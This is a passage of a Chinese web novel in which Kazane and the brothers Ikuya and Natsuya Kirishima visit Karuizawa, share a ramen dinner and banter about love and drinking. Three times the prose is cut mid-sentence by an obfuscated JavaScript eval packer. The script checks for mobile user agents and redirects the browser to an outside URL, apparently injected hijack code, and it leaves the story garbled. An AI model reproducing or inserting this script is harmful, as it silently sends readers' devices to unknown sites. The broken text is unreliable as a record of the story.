“可以啊。开车的任务交给你哥吗，还是我们搭电车去？” “……” 意料之外的名字出现了。郁弥匆忙伸手去抓水杯，言语微妙且委婉。 “我暂时只和你一个人说了这件事。” “这样啊——” 完全明白了。 风音看向厨房。 “夏也，郁弥说想去轻井泽，你要一起来吗？” 22.轻井泽与虫之瀑布 要是可以的话，郁弥绝对要捂住风音的嘴——可恶，明明盘算好了是两个人的轻井泽之行，多带一个人可不行！ 很可惜，从冒出这番念头到真正决定落实，他耗费了整整十秒钟的犹豫时间。 就在这滴答滴答十秒钟的期间内，夏也探头从厨房里出来，反问了一句“啊？”。 “郁弥说要去哪里？”他刚才可能是没听清。 依然还有机会捂住风音的嘴，可惜她的话语更快。 “轻井泽，就是长野县的那个轻井泽。” “那里的话我知道。” 是的，在这短短的十秒钟里，风音甚至能把刚刚的对话再重复一遍 事已至此，就算是捂嘴也根本没办法了。郁弥只能暗自懊恼，早知道还是在回家的路上和她商量这件事比较好。 不过，同行的对象只是哥哥而已，不是别的什么会让他冒出诡异酸涩气泡的对象，还好还好…… 夏也端着咖喱和饭碗，放到郁弥面前，顺手拿过桌上的台历，寻找起最近的一整天空闲。 拿着彼此的日程比来比去，能腾出足够往返轻井泽的时间，大概是下周六吧，干脆就定在这一天好了。 “要不要叫上你爸爸一起？” 夏也问出这话的时候，谁也没有察觉到郁弥拿着勺子的手稍稍地顿了顿。 风音摆摆手：“来不及啦，他那时候估计已经带着安德烈亚游荡到冲绳了。他们这趟准备一路南下来着，而且明天他们就要去京都了。” “唔，这样啊？那挺可惜的。我好想和你弟弟聊聊看，感觉他一定是很有好奇心的小孩，但不知道为什么很安静。” “我也是今天才突然想到，可能是因为去年皮埃尔离婚了？” “原来如此——” “哎，请等一等。” 郁弥真的不得不打断他们之间往来热络的评论了。 “你们在说什么？” 他缺课了。 夏也拍拍他的肩膀：“我们在说你最喜欢的法国光头的事情。” “这我知道，但为什么哥你刚才说话的语气很像是一个亲历者？” “因为我就是啊。”夏也一副理所应当的表情，“我昨天和风音爸爸还有弟弟一起吃的晚饭。” “……？” 瞳孔地震.gif 好想说点“为什么不叫上我”或者是“不带上我太不公平”之类的发言，可不知道为什么，话语很讨厌地堵在了喉咙口，根本吐不出来。郁弥郁闷了两秒钟，果断地舀起一大勺咖喱饭塞进嘴里，硬是把这点沉闷的心情重新塞回了胃里。 估计也是为了分神，他看电影的时候也格外认真。 他来得晚，错过了电影的前半部分，还好有夏也和风音轮番为他解释缺失的剧情——但不知道为什么，明明是坐在一起看的，这两个人的转述却有好多出入。郁弥姑且照单全收，决心接下来的部分要认真地看才行。 这一定是他在影片的最后五分钟，看到主角的小狗寿终正寝、最后转生成了会来看主角的赛车比赛的小观众时，哭到差点没喘上气。 赶紧抹抹湿漉漉的眼角，他深呼吸了一口气，正想说点什么，一抬头却发现夏也和风音都在盯着他。 遭受两人份的目光洗礼也就算了，风音居然还是笑嘻嘻地看着他的，害得郁弥瞬间就涨红了脸，蹭一下从沙发上站起来。 “为、为什么要盯着我！”他急了他急了他急了，“还有，你别笑啊！” 话都说到这份上了，风音的嘴角还是没有半点收敛，就连眼眸都眯起来了，怎么看都是一副狡猾的狐狸笑脸。 “但是，郁弥哭起来的样子很可爱也很有趣哦，一下子扫空了我刚才的坏心情呢。谢谢你，郁弥！” 她用一种很虔诚的表情望着他，彻底变成了虔诚且邪恶的狐狸。 “知道吗，我只要看到郁弥掉眼泪就会很开心哦！” 什么嘛，明明只是在那她开涮而已吧？ 想想难免有点生气，可看到风音笑吟吟的样子，他的恼怒又无处可去了，灰溜溜地转化成微妙的窃喜，钻进心底。 但就这么被她笑是绝对不行的，郁弥决定要挽回自己的尊严，哪怕只有一点点。 “你今天也哭了的。”他毫不犹豫，“所以，你最不该笑我。” 预期之中的羞红了脸或是觉得不好意思或是拜托他别提丑事，这些反应全都没有落在风音的身上，她依旧笑着，完全不觉得被郁弥揭了短。 “嗯，我今天是哭了的。”她坦荡荡说，“但要是在我哭的时候郁弥你也呜呜呜地掉眼泪，我肯定马上就会高兴到不哭的。” “……？” 这个无赖！ 很可惜，即便是无赖，也是他一不小心喜欢上了的那款无赖没错。郁弥被迫再度坐上心情过山车，在各种微妙的心情之间上下穿梭。 还好还好，等到出发去轻井泽的时候，郁弥的心情已经回到了相当平静的状态，也难怪夏也的车停在她家楼下时，他过了几秒钟才发现，她和哥哥住得还挺近的。 稍稍等上半分钟，风音跑过来了，把落到了胸口的围巾甩到背后，飞快地钻进后排。 “好冷！春天不是马上就要来了吗，怎么天气却越来越冷了？”她一边说着一边往掌心里呼气，试图让冻僵的手指回暖，“天气预报还说下午有雪。” 郁弥撇撇嘴，想到积雪就觉得不痛快，但夏也还是蛮期待的：“说不定轻井泽也会下雪吧？” “我看看我看看……” 风音这才脱掉笨重地外套，从口袋里摸出手机。 “坏消息，轻井泽不下雪。不过是晴天。” “那也挺好的。” 这就划破冬日寒冷的空气，朝长野驶去吧。 从东京到轻井泽，驱车前往至多也只需要三小时，绕过盘山的公路，从杉树之间穿过去，树梢上积攒着不知何日落下的雪。 如果他们晚几个月造访，轻井泽将会被盛开的樱花染成深浅不一的粉白色。到了夏日，这里则笼罩着一层凉爽的绿意，秋天的枫叶也值得前来欣赏。相较之下，此处的冬日似乎就很无趣了，只有滑雪算得上是最有趣的消遣，但无论是夏也还是郁弥亦或者风音，他们今天谁都不打算去滑雪。 倒不是不喜欢，只是实在有点危险。户外滑雪向来是发生运动损伤概率最高的运动之一，要是不巧在雪地上摔断了身体的哪个部件，肯定很麻烦。 就像是在映衬着他们心中的忧虑，车载广播适时地播放着迈克尔·舒马赫的新消息，这位传奇赛车手在上个月的滑雪事故中头部遭到重创，直到现在都处于昏迷状态。 小时候会在电视前为他喝彩的顶尖选手，现在却变成了新闻里的一声叹息，真让人觉得难过。风音戳戳收音机的按钮，换到了播放oricon排行榜的电台。行驶在路上，还是听点人人都喜欢的流行歌曲比较合适。 不过，就算是没有滑雪，冬日的轻井泽依旧有趣。白丝瀑布会沿着岩石飞下，碰撞出洪亮的声响，石之教堂端庄森严，泛着阴冷的黑灰色，伫立其中，隐约还能听到心跳的回荡声。 也千万不要忘记去逛逛旧轻井泽银座街，但他们三人耐不住寒冷，齐齐被冷风赶进了就近的拉面店，干脆坐下开始吃完饭了。 “我突然想起来。”风音把围巾揉成一团，塞进桌子下方的置物篮，这才抬起头，一副期待满满的模样，“你们听说过轻井泽的那个很有名的故事吗？” 夏也桌子两边在找菜单，看起来难以分心，郁弥乘此机会赶紧把她的问题输进了浏览器，按下搜索。 他的作弊小技巧成功了。 “是浅间山庄事件吗？”他问。 风音甩甩脑袋，“这是什么事件？” “嘛……”手指飞快划过网页，目光也赶快抓到了几个关键字，“好像是某个极端组织在浅间山庄劫持了人质要求和警方周旋的事件。” “唔。第一次听说这种事。我要说的不是极端分子的事啦，那很无聊的。在轻井泽很出名的是知名作家的殉情事件。” 这样么说的话，郁弥就知道了。 “是太宰治吗？” “太宰治是在玉川上水投河自杀的。”风音用眼角瞥他，“初中的时候不就学过了嘛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715884|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 一直游离在话题之外的夏也适时地插嘴：“有些人国文课上一直在睡觉。” 然后毫不意外地被弟弟气恼地瞪了一眼。 但唯一值得庆幸的事情也许是，这种丢脸的事情，风音早就知道了？ 饿得难受，总之先点单，等服务员走远之后，她才接着说下去。 “我想说的是有岛武郎的殉情事件。” 夏也嘀咕着这个名字：“我好像没怎么看过他的作品。” “毕竟是二十世纪初的作家嘛，不知道是很正常的。好了好了，现在我真的要开始说了。殉情事件发生在差不多一百年前的夏天，有岛武郎与婚外恋的情人难以承受不道德恋爱的压力，在轻井泽的某处别墅双双上吊自杀了。” “咦！” 郁弥的整张脸都皱起来了，坐在旁边的夏也倒还是一副很冷静的样子，耐心地听着这个故事。 “如果只是到此为止，殉情事件也不至于传这么久。问题是，他们的尸体在一个月后才被人发现，那时候正值闷热的梅雨季，尸体可以说腐烂到不能再腐烂了，整栋别墅里也满是蛆虫，多到都能从天井里爬出来了。你知道尸体的发现人是怎么描述当时的场景地吗？” 郁弥的脸都要绿了：“我不想知道……” “不想知道我也要告诉你。”无赖的做派开始了，“据说，尸体上的蛆虫多到能像瀑布一样流下来。像瀑布一样哦，能流下来哦。” 一边说着，风音还举起了双手，十个手指动呀动的从空中落下来，绝对是在模仿瀑布没有错。 郁弥后悔了，在她开始说起这个话题的时候，他就该果断阻止她的。 至于夏也嘛……嗯，他已经切换到神游天外的状态了。 只有将思维抽离，就什么都听不到了，还能阻止想象力自说自话为他编造出他最讨厌的虫子的模样。可风音却挨了过来，决心打破夏也这种抽离的状态。 “虫子，蛆虫，蛆虫瀑布。”她的话语精准地钻进了他的耳朵里，她的手指虫子似的从他的手臂上爬下去，“蛆虫织成的瀑布从天花板上掉下来。” 恰在此时，拉面上桌，藏住清澈酱油色汤汁之下的白色面条，居然很像是…… 夏也痛苦地闭上眼。 “我用一个郁弥的小八卦和你做交换，以后你再也不要和我说有岛武郎的事情怎么样？” “可以呀！”她答应得好痛快。 而莫名其妙变成了交易筹码的郁弥：？ 根本来不及阻止，夏也这就开始说起来了。 “以前在美国的时候，有个郁弥的同学向他表白，理由是，他朋友很少，除了跟日和走在一起，大多数时候都独来独往，她觉得他很酷。不过被郁弥拒绝了。” “诶？”风音的眼睛都亮起来了，赶紧看向郁弥，“为什么为什么？” 郁弥不情愿地嘀咕：“很不礼貌啊。说别人独来独往什么的……” “啊，也是。说起来，我高中的时候也被别人以差不多的理由告白了。” 郁弥猛抬头。 “你从没和我说过这种事。” 他忍不住说。 风音挠挠头：“因为这不是随便就能提到的话题嘛，而且我现在正在说了不是吗？” 郁弥的气焰消失了一大半：“……是。” “总之那人说她喜欢我的方面是我大多数时候都不化妆或是卷头发——顺便一提这是因为我每天都在训练很没时间——但他觉得我和大多数会把自己打扮得很精致的jk不一样，觉得我很，真实？这话很气人吧。别人愿意花时间在自我管理上不是很厉害嘛，反倒被他说得像是什么不好的事情一样，真是又过分又搞笑。” 郁弥疯狂点头。 “就是啊。超搞笑的！” 就连夏也都在嘀咕：“也难怪告白不成功了。” “诶？没有哦。” 风音放下装着橙汁的玻璃杯，碰撞出清脆的“嗒”一声。 “我答应了。” 于此同时，夏也和郁弥脸上那副看好戏的（或是幸灾乐祸的？）偷笑，被僵硬地焊死在了嘴角上。 23.庸俗人类的特有选择满百营养液加更 有点意外。 可能是因为话题突然来到了恋爱方面（这全都怪夏也！），也可能是郁弥一点也没有准备好要听风音的恋爱故事（拜托他会嫉妒的好吗），所以他的表情在这一刻全都僵硬在了脸上，嘴角甚至抽搐不了——这倒是一点都不意外。 而面对着两张几乎复制黏贴般的惊讶面孔，要说风音不觉得心情微妙，那绝对是最大的谎话。也难怪她的嘴角在一秒钟之内就撇下去了，眼睛也不太高兴地眯起来，缩得小小的瞳孔扫过兄弟俩的面孔，颇有一种审视的意味。 “你们啊——”在气氛几秒钟的僵持之后，她终于开口说，“我知道你们兄弟俩很心有灵犀，但不要同时想一样的事情好不好？你们的现在的表情简直就像在说，我答应了那家伙的告白是多么不可思议的一件事。” 郁弥心虚地别开目光，夏也的笑声听起来也略有几分不自在。 “没有没有。我并没有冒出这么不礼貌的想法。”郁弥赶紧替自己辩解。 而夏也说得则是：“确实很奇怪啊，你居然会答应这么庸俗的告白。我很担心你真的是被他自以为是的发言哄到了。” 其实郁弥自己心里也是这么想的，可他一点也不打算把这番念头直白地说出口，所以在听到夏也说出了他的心底话时，不由得又小小地惊讶了一下，偷摸摸打量着哥哥坦荡的表情，暗自心想，他果然是想到什么就会说什么的坦率家伙。 “不会不会，我不是那种会被好听话唬到的人。再说了，那家伙的告白发言也不算好听啊。”风音摆着手说，“真要说实话的话还挺不好意思的，其实我是因为他的脸长得还算好看，所以才答应了的。脑袋空空的漂亮少年，这可是很不错的存在哟。” 说着这话的她，看起来似乎略有几分得意的意味？ 夏也爆发出毫不留情的大笑，说风音好庸俗。“啊不过那个男生比你还庸俗一点就是了。”顺便补上这么一句。 郁弥倒是没笑——他也不知道自己是不太想笑，还是不怎么能够笑得出来。 在风音说出这话之后，他的余光已经不自觉地扫过桌旁。 他们正坐在靠近入口的位置，室外的天空早就已经彻底暗下，灯光映在镶嵌在门上的玻璃表面，将这层透明的介质化作了一层很浅的镜子。他能够看到笑着伸出拳头锤哥哥的的风音，不用猜也能知道她这绝对是在报复他的那句“好庸俗”；夏也则是匆匆忙忙地端起红薯烧酒东躲西闪，可不想真的被打到。 而他，他看着倒影里的自己的脸，有点不好意思地想，他长得应该不算丑吧。 从小到大他就经常被夸赞长得可爱，情人节也会收到巧克力——虽然大多数时候是义理巧克力，且从没有收到过来自风音的亲手制作的这种可可脂产物，因为她打心底觉得情人节是糖果厂商的营销产物，从来都不会送给任何人巧克力——换言之，他应该长了一张还算过得去的脸。就是不知道距离风音口中的“漂亮少年”还有多远的差距呢？ 如果，他是说如果，仅仅只是如果而已。 如果他已经触及到这个标准了，那么，当他说出“喜欢”时，她会不会也…… 这个想法有点太过深入了，突然而然地掉进郁弥的心里，一下子把他的心脏压得好沉。他猛然清醒过来，慌慌张张地把这念头藏回到它本该在的、谁也不知道谁也看不到就连自己都不敢主动去窥探的角落里。 有朝一日，他会去思考这件事情的，但不是现在。 郁弥从自己的小世界里抽身出来。 还好，无论是夏也还是风音，谁都没有注意到他刚才短暂的片刻失神，也不会知道他在琢磨的事情究竟是什么。而且，风音正准备就恋爱话题大倒苦水呢。 “虽然脸长得真的很好看很帅气没错，是那种漂亮到塞进杰尼斯都能直接出道的程度，但是他真的太自恋太笨了！” 说起这件事，风音就忍不住要敲桌子。 “带他去吃烤蜗牛，他说好恶心，法国人就爱吃恶心的东西。他怎么好意思在半个法国人面前说出这种话？然后一整个吃饭的期间都在对着银叉子上的倒影整理自己的卷发。和他随口聊到新闻上遍地播报的美国总统大选的事情，他会说，上次去纽约的时候不知道为什么没有找到白宫——纽约怎么会有白宫？他甚至还是认真地盯着我的眼睛说出这话的，也不知道他是想要给我展示出他那副恰到好处的失落表情，还是纯粹地想要从我眼睛的倒影里看到自己的帅气面孔。就是在那一刻，我意识到了，这家伙是就算被丢到华盛顿特区也找不到白宫的笨蛋。然后就分手了。” 没好意思在桐岛兄弟面前坦白的小小的一个事实时，从纽约白宫事件直到说出“分手吧”为止，期间这段恋爱还是维持了约莫一周时间。 对不起，她真的放不下一张好看的脸。 说到这里，即便是郁弥也能露出轻松的笑意了。 看嘛，连这种草包都能和风音谈上恋爱，有朝一日他也可以的！ 而夏也则是笑得很大声、很放肆、很不加掩饰。 “所以你还是很庸俗的嘛。”估计是酒精在作祟，他今天说起话来比平日多出了那么一点直白，“未来还是要好好作出决定才行呢。” “我知道的嘛。”风音被他说得很不服气，嘴硬似的补上一句，“但要是下一次还有帅哥向我表白的话，我还是会答应的，因为我庸俗，不像夏也先生一样，更加看重告白对象是否具有美好的品质。” 可能是这声“夏也先生”很阴阳怪气，也可能是莫名其妙就被人揣测了喜欢的类型（且还没猜对），夏也努了努嘴，灌下一大口酒，脸颊上浮着的一层绯色随之变深了些许。 “我可没这么说。”他嘀咕了这么一句，歪过脑袋，用手肘轻碰郁弥，问他，“你会喜欢怎样的人？” 问题来得突然，就连风音也投来了好奇的目光。郁弥缩缩身子，视线恰好扫过她金色的发梢，话语不自觉地脱口而出：“喜欢头发很好看的人。” 结果被哥哥和风音轮番笑了，真可恶。早知道就不说了。 郁弥相当郁闷，决心接下来的一整晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718709|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不要喝这两个会嘲笑自己的混蛋说话了。 话虽如此，在吃完拉面之后，他还是不自觉地发出了一点声音——没错，就是在喝得醉醺醺的夏也啪一下倒在他身旁时，他下意识发出的“啊”一声。 这世上大概很少有人会用红薯烧酒搭配豚骨拉面，更加不会有人在主动选择了这么诡异的搭配之后，被区区半杯烧酒放倒，真是太没有自知之明了。 郁弥轻轻叹气，伸出一根手指，戳戳夏也的肩膀，又戳了戳他的侧腰。以他一贯怕痒的秉性，这一下绝对会让他痒到跳起来的，可他依然靠在自己的身边一动不动，呼吸声平稳且安静，说不定已经沉进梦乡里了。 就此，郁弥可以下定结论了。 “没救了。” Doctor Kirishima给出结论。 也就是，断则一小时，长则一整夜，喝醉的夏也先生不会恢复神智。 “这也没办法……”风音轻轻叹气，“偷偷说句坏话，你哥哥酒量好差。” 还记得之前篮球队的聚餐，一杯啤酒就足够让夏也脚步虚浮走路歪歪扭扭了，没想到烧酒的威力更是啤酒的数倍，彻底把这只身高逼近一米九的巨大生物放倒了。 “就是啊。酒量和酒品一样差。” 郁弥嫌弃地撇嘴。 他可是醉鬼夏也的最大受害者，也难怪现在的吐槽之心一秒钟都停不下来了。 “喝酒的本事烂得不行也就算了，还特别爱喝酒，真烦人。” “为什么不擅长喝酒却会很喜欢喝酒呢？”风音真的很好奇。 郁弥耸肩：“不知道，可能因为他是个纯粹的酒鬼。” “笑死我了。酒鬼。” “下次帮你问问他好了。” “太好了，谢谢你！” 行吧。被她这么一感谢，郁弥彻底忘记自己要一整晚不和她说话的誓言了——不过，现在还要想办法安置醉到晕厥的夏也，在这件事上他们肯定也得好好交流一番才行。 好在晚饭开始之间，酒精爱好者桐岛夏也究竟已经把回程的开车任务交给了风音，在“由谁开车回去”这件事上用不着纠结。该怎么把他弄到车上，这才是最大的苦恼。 郁弥接过风音递来的湿纸巾，用力擦擦夏也的脸，这点微小且湿润的冷意并没能唤醒睡美人先生。既然如此，他干脆从夏也的口袋里摸出钱包结账，看得风音差点呆住。 “这么做真的可以吗？”她惴惴不安的，“夏也会生气吧。” “不会的。他活该。”郁弥果断地说。 然后就又回到麻烦的搬运问题上了。 根据过往的经历，郁弥已经知道了，光靠自己一个人肯定是搬不动夏也的。还好今天有风音在。 “这样吧，我们一人搬起他的一条手臂，然后……诶？” 郁弥眨眨眼，对于不知道何时来到他作为旁边的风音有点意外。 更加意外的是，刚才还靠在他身旁的夏也，现在已经来到她的背上了——她居然就这么把夏也背起来了？ 24.苏卡达陆龟或蜣螂 看着哥哥和风音的叠叠乐，郁弥不知道自己现在应该联想到世界上最大的苏卡达陆龟还是能背起硕大土球的蜣螂，或是干脆什么都别想，放空大脑接受现实更好。 所以，现实是，风音轻轻松松地背起了高出她十厘米、肩宽是她的一点五倍、浑身上下除了肌肉就是骨头、而且他绝对背不动的哥哥夏也。 “没有没有没有，我没有轻轻松松啊！” 使劲到连说起话来都咬牙切齿的风音努力从牙缝里挤出这么几句话。 “我感觉我的脊椎骨都要断掉了，想要往前走也真的挺难的……所以郁弥你能不能不要再用这种看奥运会举重比赛连大气都不敢喘的表情看着我？我们快点走啦走啦赶紧上车赶紧回家！” “啊……好的好的。” 要不是被风音这么说了，郁弥完全不会有自己表情呆滞的自觉。他赶紧抓起三人份的背包和外套，率先一步推开餐厅大门，倏地吹进来的冬日冷风冻得三个人同时哆嗦了一下——没错，就连醉到不省人事的夏也都无意识地抖了抖，足以可见这阵风多么可怕。 风音一路小跑着朝停车场赶去，郁弥则在旁边保驾护航，把手搭在了她背后的负重物上（在这个场景下正是桐岛夏也本人来错），小心翼翼地保持着平衡。 短短一段路前进得多少有点艰难，好在最后还是走到了终点。把夏也挪到后座的瞬间，风音甚至产生了一种“我人生中所有的压力一定已经全部消失了”的异常轻松的感觉，忍不住长舒了一口气，连寒冷感都忘却了，双手叉腰挺着胸膛舒坦地在寒风里站了整整三秒钟才钻进驾驶室，哆哆嗦嗦地转动车钥匙启动空调，缓了整整五分钟才恢复到可以踩下刹车的体温。 郁弥不擅长开长途，也不爱在夜间开车，早在夏也端起红薯烧酒之前，开车回家的重责就毫无疑问地交给了风音。 但其实她也不喜欢在晚上开三小时的车。 估计是为了排遣这份力不从心的感觉，一路上她忍不住说了很多话。还好坐在副驾的是很愿意和她说点什么的郁弥。 “我刚才突然想到。”她迟钝地在转动方向盘的同时才点亮了转向灯，话语也随之迟疑了一秒钟，慢吞吞地追上，“既然你哥这么不擅长喝酒，你会不会也是一样？” 郁弥想也不想地说：“怎么可能！” 他说出这话的语气实在是太倔强太不服气了，听得风音好想笑出声来。 “怎么不可能了？你们是兄弟诶。”她摆出合理的猜测，“弟弟像哥哥，这不是很正常的事情嘛。不用不好意思承认哦，我又不会笑你。” “首先，我没有不好意思承认，我酒量更好这件事绝对会是事实没错。其次，”郁弥眯起眼看他，像在看一个不诚实的片子，“你绝对会笑我。你一直都毫不留情地嘲笑我，今天也是。” 风音的脸上没有半点窘迫感，坦荡荡地丢出一句：“我才没有。今天也没有笑你。” “哼。明明就有。” “好吧。”她摆出一副很无奈的、如同哄小孩的表情，“你说有的话那就是有吧。” “……！” 不服气！ 郁弥真想和她辩解几句，可不用多想也能知道，他在风音面前是绝对不占理的，哪怕错的人就是风音没错，她还是会有办法在他的面前找回主权的。 没办法，她就是如此无赖。 无论如何，他还是要坚定自己的立场：“我的酒量一定比哥哥好。” “嗯嗯。”风音的应声听起来略有几分敷衍，“可能真是这样吧。不过，你还不能喝酒，所以这只是推测，不是吗？” 喝酒这件事要等到年满二十岁才能进行，否则就是百分之百的违法，而这辆车上有足足两个人还没达到这个标准——是哪两个人呢真难猜啊。 还好不用等太久，下个月就是风音的二十岁生日，而郁弥则要稍微晚上大半个月，谁让他的生日是在三月初。 也就是说，能证明郁弥的自信是否成真，还要等待一个半月才行。他真的有点迫不及待了。 不过，在此之前是她的生日。 之前他就在想着该送给风音怎样的礼物了，可惜一直都还没想好。这一刻，“礼物”这个概念又跳进了他的脑海里，于是视线也不自觉地朝她而去，轻而易举地就落在了她的耳朵上。 没办法，戳满各种圆环、宝石和钉子的她的耳朵实在是……太瞩目了。每个与她面对面的人，视线最终的归宿，一定是她打满了十个耳洞的耳朵吧。 佯装不经意，他说：“小时候，你特别喜欢电视上的钻石广告。” “打算送给我钻石吗？可以哦，我会很喜欢的。” 一秒钟就被戳穿心思了。郁弥丢脸到想要立刻跳车。 “你、你怎么在说这种事！”他赶紧别开脑袋，手掌盖住大半张羞红的脸，“谁在和你说生日礼物的事情啊！你这是、是自我意识过剩！” “我可没说这是生日礼物，你这就已经迫不及待地自爆了吗？哼哼哼——” 风音笑得好得意，甚至忍不住哼起歌来了。 “郁弥呀郁弥，你太好懂了。知道吗，你就像装了透明玻璃的窗户，只要投去目光，就能知道在想什么了。” “……嘁。” 才不是呢。 如果他当真这么容易看透，那么他对她的喜欢，她也一定能够看到吧？可是她并不知道，因为他藏得很好。 与“不被看透”相比，是不是“被看穿”更好呢？他并不确定。 至少，在这一刻，他一定不会让她知道的。 他要赌气地说：“我不会送给你钻石了。” “诶？不要啊。”风音好难过，“钻石很好啊，送给我钻石嘛。” 郁弥倔强地继续梗着脖子：“不要。” “就当我刚才什么都没说？” “不行。谁让你什么都说了。” “行吧……” 钻石……亮晶晶的钻石、心爱的钻石、最喜欢的钻石，远去了…… 风音沮丧声填满了一整辆车，与他们一起来到东京，直到在自家公寓楼下停稳，才终于能够释放一些了。 “那么，我就先回去咯？” 风音把驾驶座的宝座让给郁弥，多少还是有点担心。 “你一个人开回去没问题吗，真的不需要我先开到夏也家，帮忙把他搬回去？” “真的不用。” 刚才他们俩就讨论过这个问题了，得出的结论是，让风音先开车到自己家，再由郁弥开车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720581|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回到夏也那里并且在他家住一晚才是最佳的选择——而不是先送郁弥回家、再送夏也回家、再让她打车回去。 而稍稍清醒了一点、已经能躺在后排睁着眼发呆的夏也对这个安排没有半点异议。 以他现在的清醒程度，估计光凭郁弥一个人也能把他搬上楼了。 “我明白了。那你路上小心，如果需要帮忙的话一定要和我说。” 风音挥挥手，迈出两步，忽然折返回来，凑近郁弥的耳边。 “这次不要再被你哥哥戏弄了哟——我的意思是你可别再被他套上连衣裙了。” 比话语更先到达的是她落在耳边的温暖吐息，痒痒的，让他想要缩起脖子，而后才听清了她在说的是什么，气得郁弥要跳起来。 “这种事绝不会再发生第二次了！”他摇下车窗，把手伸出去，气恼地推着风音往前，“快走快走！” 风音笑着跑走了，心情好得不行。 那场因她导致的失败对于阴霾，就此算是彻底消失无踪了吧。 隔天早上收到了夏也的消息，感谢她昨晚的帮忙。作为回报，他又分享了一张郁弥的糗照——是趁他睡觉的时候偷偷给他扎了两个小辫子的照片 很好，保存了，下次丢到本人的面前然后欣赏一下他说不出话的表情吧。 得意洋洋地这么想着的风音戴上耳机，呼出的气息在冬日清晨的风中凝成一团白霜。她向前迈步，奔跑在人行道上。 冬季杯的失利，即便已经写在过去，但也绝对是痛苦的失败没错。教练重新调整了训练日程，将每日的训练时间缩短，相应的提升了每周的训练频率。在那之后的几场练习赛，她们未尝败绩。可惜大型比赛还要等到新学年开始，到时候，大四的前辈们就不在这个队伍里了。 毕业的日子越来越近，前辈们组织了离队前的最后一次聚餐。不算意外，前经理悠马和夏也又来参加了。 “毕竟聚餐的经费来自于太阳石油的赞助费嘛。”真理子说，“就该叫上大功臣桐岛前辈。” 夏也在旁边点头：“现在我已经是京王女篮队的编外成员了。” 话虽如此，前辈们还是在偷笑。 “真的吗？桐岛真的不是因为想和女孩子们联谊才来的嘛？” “啊。”悠马毫不犹豫地出卖他，“桐岛前辈确实没有女朋友来着。” “真的呀？怎么会这样！” 不好，夏也被大家围剿了。 风音觉得被恋爱话题疯狂质问的夏也好可怜，但她果然也对这些事情很好奇。友谊和好奇心开始打架，她既没有很义气地替他拦下那些疑问，也没有坏心思地丢出更多的质问，只是笑眯眯地在旁边窃听。 “桐岛前辈难道连喜欢的人都没有吗？” 有人突然问。 这绝对是八卦到极点的问题了，是好奇心的集大成之作，就算夏也不回答也没有关系，大不了就是换回大家失望的“诶”一声而已。而他似笑非笑的表情似乎也像是在推辞。 不过，他还是回答了。 “有啊。” 很奇怪，夏也看了她一眼——极其飞快的、短暂到一定谁也不会发现、却确实地落入她眼眸中的一瞥。 他说：“我有喜欢的人。” 25.好意是具象化的存在 一旦某人承认自己有了喜欢的人，想要不被深挖，简直是不可能的事情，况且球队的大家又都是对好奇之事必须挖掘到底的性格——并且她们会辩称这是在贯彻京王大学的“脚踏实地上下求索”的校训。 事实嘛，只是想要起哄罢了。 大多数时候，风音也会掺和进这个闹腾的队列中，对惨遭问询的“受害者”丢出一大堆尖锐且直白的问题，还要在他给出回答之后闹腾地大笑，可不知道为什么，今天却好像没办法做出这种平时常做的事情。 唔……因为对方是夏也吗，是从小到大像哥哥一样对他很好的好朋友，所以才不好意思对他邪恶又刻薄吗？不对，她平常对郁弥不也挺坏的嘛，照理说不该对夏也有例外才对。 那就是，他刚才莫名地看了自己一眼的缘故吗？说到底，他为什么会向自己投来目光呢？ 仔细想想，那一眼实在是来得太快、也太突然了，短暂的像是大脑自顾自编造出来的错觉，几乎要让风音以为自己会不会是看错了。可她还没有到容易忘记事情的年纪，也不至于对于几分钟之前才发生过的事情失去记忆。她可以确信，在回答心仪之人的话题时，夏也确实是看了她一眼。 所以，那一眼是什么意思吗？一不小心投来的目光，还是带有什么意义？啊，不会是他违背了他们之间的诺言，准备和她认识的人恋爱了吧——哎等等，上回他们确实就这个诺言达成了妥协，对吧？这件事她倒是有点记不清了。 如果真是这样，那可能还是挺郁闷的，也难怪风音不自觉地将手伸向玻璃杯，猛猛灌下了一大口大麦茶。杯子瞬间见底，她四下寻找着茶壶的去向，还没找到它的踪迹，淡褐色的清澈茶水倒是先一步落进了她的杯子里。 夏也拿起了茶壶，顺手帮她填满杯子，冲她笑了一下。 “快救救我啊，风音。”说着这话的他难得的显得可怜兮兮。 “嗯？怎么了？” 风音有点懵——她刚才完全在想着自己的事情了，根本没有在听大家说了些什么，忽然回过神来，大家那副八卦心慢慢的表情倒是让她有点意外。 不过这下总算搞明白了，大家正在极尽所能地审问夏也呢。 “你的小伙伴们真的很想知道我喜欢的是谁。” “是郁弥吧。”风音眨眨眼，“大家有所不知，桐岛前辈其实是弟控哦。” 